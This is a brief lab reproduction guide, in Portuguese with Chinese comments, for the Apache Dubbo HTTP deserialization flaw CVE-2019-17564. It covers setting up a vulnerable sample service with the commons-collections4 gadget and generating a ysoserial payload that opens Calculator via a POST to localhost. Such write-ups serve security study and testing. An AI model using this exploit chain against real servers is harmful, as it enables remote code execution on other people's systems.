
CVE-2019-17564:Vulnerabilidade de desserialização do Apache Dubbo
Apache Dubbo é um framework Java RPC de código aberto de alto desempenho e leve, que oferece três capacidades principais: chamada de método remoto orientada a interface, tolerância a falhas inteligente e balanceamento de carga, e registro e descoberta automáticos de serviços.
Apache Dubbo suporta vários protocolos, sendo o protocolo Dubbo o recomendado oficialmente. Uma vulnerabilidade de desserialização (CVE-2019-17564) no protocolo HTTP do Apache Dubbo ocorre principalmente porque, quando o Apache Dubbo habilita o protocolo HTTP, o tratamento inadequado do corpo da mensagem leva a uma desserialização insegura. Quando existem gadgets úteis no pacote do projeto, pode resultar em execução remota de código.
2.7.0 <= Apache Dubbo <= 2.7.4.1 2.6.0 <= Apache Dubbo <= 2.6.7 Apache Dubbo = 2.5.x
1、Como a inicialização do dubbo depende do zookeeper, primeiro instale o zookeeper
wget https://archive.apache.org/dist/zookeeper/zookeeper-3.4.10/zookeeper-3.4.10.tar.gz
# 将conf目录下的zoo_sample.cfg改名为zoo.cfg
mv zoo_sample.cfg zoo.cfg
# 进入bin目录启动zookeeper
./zkServer.sh start

2、Obtenha o projeto dubbo do Github e modifique o pom.xml
git clone https://github.com/apache/dubbo-samples
# 进入到dubbo-samples-http目录中,修改pom.xml
vim pom.xml
Altere a versão do dubbo para uma versão vulnerável
Adicione uma dependência, importe um gadgets acionável, aqui importado é commons-collections4-4.0
<dependency>
<groupId>org.apache.commons</groupId>
<artifactId>commons-collections4</artifactId>
<version>4.0</version>
</dependency>

3、Construa com mvn, inicie o dubbo
mvn clean package
mvn -Djava.net.preferIPv4Stack=true -Dexec.mainClass=org.apache.dubbo.samples.http.HttpProvider exec:java

payload
POST /org.apache.dubbo.samples.http.api.DemoService HTTP/1.1
Host: 127.0.0.1:8080
paylaod
Aqui use ysoserial para gerar payload
java -jar ysoserial-master-55f1e7c35c-1.jar CommonsCollections4 /System/Applications/Calculator.app/Contents/MacOS/Calculator > 1.ser
bp envia o pacote
